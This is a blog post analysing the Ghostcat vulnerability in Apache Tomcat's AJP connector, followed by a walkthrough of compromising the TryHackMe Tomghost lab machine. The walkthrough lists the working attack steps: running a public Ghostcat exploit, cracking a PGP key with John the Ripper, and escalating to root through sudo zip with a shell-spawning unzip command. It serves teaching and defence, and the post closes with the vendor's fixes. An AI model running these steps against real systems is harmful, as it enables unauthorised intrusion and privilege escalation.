Detailed Analysis of Ghostcat Vulnerability (Cve-2020–1938) in Apache Tomcat Servers
And Using It to Compromise a Tomcat Machine on Tryhackme
Today we are talking about recently came vulnerability discovered by Chaitin Tech security researchers in Feb 2020 it was named ghostcat by the researchers
Apache Tomcat is a popular open-source Java servlet container, so the discovery of Ghostcat understandably set off some alarms. This blog entry seeks to put the most feared Ghostcat-related scenario into perspective by delving into the unlikely circumstances that would make it possible to allow an RCE through the vulnerability.
This vulnerability affects all versions of Tomcat in the default configuration (when we found this vulnerability, it was confirmed that it affected all versions of Tomcat 9/8/7/6, and older versions that were too old were not verified), which means that it has been dormant in Tomcat for more than a decade.
What can Ghostcat do ?
By exploiting the Ghostcat vulnerability, an attacker can read the contents of configuration files and source code files of all webapps deployed on Tomcat.
In addition, if the website application allows users upload file, an attacker can first upload a file containing malicious JSP script code to the server (the uploaded file itself can be any type of file, such as pictures, plain text files etc.), and then include the uploaded file by exploiting the Ghostcat vulnerability, which finally can result in remote code execution
Lets first talk about AJP (Apache Jserv Protocol)
The AJP Protocol
The AJP is a binary protocol used by the Apache Tomcat webserver to communicate with the servlet container that sits behind the webserver using TCP connections. It is mainly used in a cluster or reverse proxy scenario where web servers communicate with application servers or servlet containers.
In simple terms, this means that the HTTP Connector is exposed to clients, while the AJP is used internally between the webserver (e.g., Apache HTTPD) and the Apache Tomcat server (illustrated in Figure 1). AJP is implemented as a module in the Apache HTTP Server, represented as mod_jk or mod_proxy_ajp. The bottom line is that AJP is not, by nature, exposed externally. This is important to point out, as it’s one of the prerequisites for the RCE scenario.
GHOSTCAT is a LFI(Local File Inclusion) vulnerability It’s not a RCE(Remote Code Execution) by default There are some circumstances which made it RCE
CIRCUMSTANCES THAT CAN MAKE GHOSTCAT A RCE
The web application needs to allow file upload and storage of these uploaded files within the web application itself and combined with the ability to process a file as a JSP
João Matos, a well-known security researcher from Brazil, identified the prerequisites needed for Ghostcat to become an RCE
Link - https://twitter.com/joaomatosf/status/1230895566688792576
Upload files via an APP feature. This first prerequisite means that an application with a file upload feature should already be installed in the system for the RCE to be possible. If this is the case, it would be more convenient for a potential attacker to use the web application itself with a file upload vulnerability to upload a malicious web shell file. The need to interpret the file as JSP would only arise in cases where the upload vulnerability restricts certain file extensions such as JPG or TXT.
These files are saved inside the document root. Once an attacker has compromised the application and was able to upload the malicious file, the files would need to be saved inside the application root folder. This prerequisite by itself is unlikely or difficult to orchestrate for two reasons: 1) It is uncommon in Java applications to save files in its application root folder; and 2) the application root folder is transitory, so this folder is completely overwritten whenever a new version of the application is deployed.
In addition, from a developer perspective, it makes little sense for a file upload feature to upload files inside the root folder since most of the Apache Tomcat applications are deployed as a .WAR file, which is basically a zip file.
Reach the AJP port directly. Lastly, after these two prerequisites are met, a potential attacker would have to be able to reach the Tomcat AJP Connector (default port 8009) directly from the internet through the reverse-proxy, which is an externally exposed AJP. As mentioned, this is not a recommended or common configuration. Even if the AJP Connector is exposed and an attacker tried to communicate with it, they would receive a 400 Bad Request response from the web server since AJP is a binary protocol.
Why does this vulnerability exist?
By default, Tomcat treats AJP connections as having a higher level of trust, when compared to HTTP connections. When AJP is implemented correctly, the protocol requires a secret, which is required by anyone who queries the protocol. When using the default Tomcat configuration, this secret is not enabled, meaning that no security check is done to requests coming into port 8009. This means that an unauthenticated attacker can access the port to read or potentially write to the server
WALKTHROUGH OF THE TOMGHOST MACHINE ON THE TRYHACKME
A little words for tryhackme before we get started
Tryhackme is one of the best platform right now to learn hacking they include all the course for all level so whether you jut started learning hacking this morning or you have been learning it since 2–3 years or its been more than 5 years this will definitely get your heart. This platform focuses on learning by doing so must for every infosec enthusiast
So now guys let our walk-through begin
lets first deploy the machine
now lets do some recon on the machine using nmap
$ nmap -A -Pn [machine-ip]
they are exposing AJP to everyone,we can see that on port 8009 Perfect!!!!!!!!!!!
now lets find the publicly available exploit for ghostcat vulnerability
link- https://www.exploit-db.com/exploits/48143
Lets download the exploit and run this
$ python2 48143.py -p 8009 [machine-ip]
this is what we got after running the exploit looks like username and the password
Okay from our nmap scan we know that SSH service is open on port 22 so lets use these credentials for SSH
$ ssh skyfuck@[machine-ip]
and we are in
okay lets go for user.txt (user flag)
wait what! probably there are more user this is not the user we require for user.txt file so lets go the /home directory
okay so there is one more uer called merlin lets see the permissions on the merlin directory are we allowed to go into that
okay we are allowed so lets go into that directory
Okay so here lies our user.txt file so lets check what permissions are set on this text file can we read the user flag
Yess!!!!! we can now we can read the file using cat command can’t show you the flag guys sorry
$ cat user.txt
okay lets now check for the sudo rights of this user skyfuck(which we are)
$ sudo -l
Ohh this user is not in sudoers file means this user cant run privileged commands so this user is of no use we need to be second user(merlin) in order to get root
okay lets see these interesting files on the home directory of out user skyfuck
so we have a pgp file called credentials which looks suspicious so we need to decrypt this file using gpg tool
lets connect using sftp to the machine as user skyrocket to download these two files on our own system
$ sftp skyfuck@[machine-ip]
so now we are connected to the machine using sftp now lets download these two files using get command
sftp-> get credential.pgp
sftp-> get tryhackme.asc
now we have downloaded these files into our own system
lets use gpg2john to get the secret key
$ gpg2john tryhackme.asc > hash
now lets crack the hash format using john the ripper by using rockyou.txt wordlist
link to the wordlist- https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
$ john --wordlist=rockyou.txt hash
now we got the password or secret key for the pgp encryption
now use the command to import the pgp key in gpg
$ gpg --import tryhackme.asc
now run the following command to decrypt the pgp key
$ gpg --decrypt credential.pgp
now you will get the password for the merlin
now we are going to change the user in our SSH session
$ su merlin
now we are our desired user means merlin
lets check what commands he can run as root
$ sudo -l
okay so we can run zip command as user root now lets check how we can escalate privilege.
There is a blog on hacking articles which tell us when a user is allowed to run zip command as root how that user can become root
link- https://www.hackingarticles.in/linux-for-pentester-zip-privilege-escalation/
we used technique described in the above blog to become root
first we create a text file called raj.txt
$ touch raj.txt
$ sudo zip 1.zip raj.txt -T — unzip-command=”sh -c /bin/bash”
huraay!!!!!!!! we are now root kudos to the hacking article blogs
now we can get the root flag in /root
Fixing of the GHOSTCAT vulnerability
The fixes done by the Apache Tomcat team to address Ghostcat should also provide further clarity on its true limitations. In this section, we detail the fixes in the code from version 9.0.31, which mostly shares the same code with other versions.
Ghostcat relies on a misconfiguration (as seen below) of the AJP Connector where it is enabled by default on the /conf/server.xml file:
<Connector port=”8009″ protocol=”AJP/1.3″ redirectPort=”8443″ />
The Apache Tomcat team commented out this line from the file, thus disabling the AJP connector by default on the commit 4c933d8
On its own, the code fix above is enough to stop Ghostcat from happening since it disables AJP by default. This should only be done if the AJP is not being used.
We detail a second fix that does not necessarily disable AJP but limits it to only listen to the loopback interface by default (figure 4). The Apache Tomcat team made other changes to improve the overall usage of the AJP Protocol, such as enforcing a secret to be defined when the secretRequired attribute is set to true (figure 5). They also made sure that any requests to the AJP Connector that contains arbitrary and unrecognized attributes receive a 403 (Forbidden) response
Conclusion
Given all that has been discussed in this post, it is still important for users to recognize that Ghostcat still poses risks even if it’s not an RCE by default. The fact that there are already many publicly available exploits for this vulnerability should push users to update their Tomcat to the latest version as soon as possible to reduce the risk of being exploited.
Author:infosec_boy
A special thanks to the blog https://blog.trendmicro.com/trendlabs-security-intelligence/busting-ghostcat-an-analysis-of-the-apache-tomcat-vulnerability-cve-2020-1938-and-cnvd-2020-10487/ for awesome information
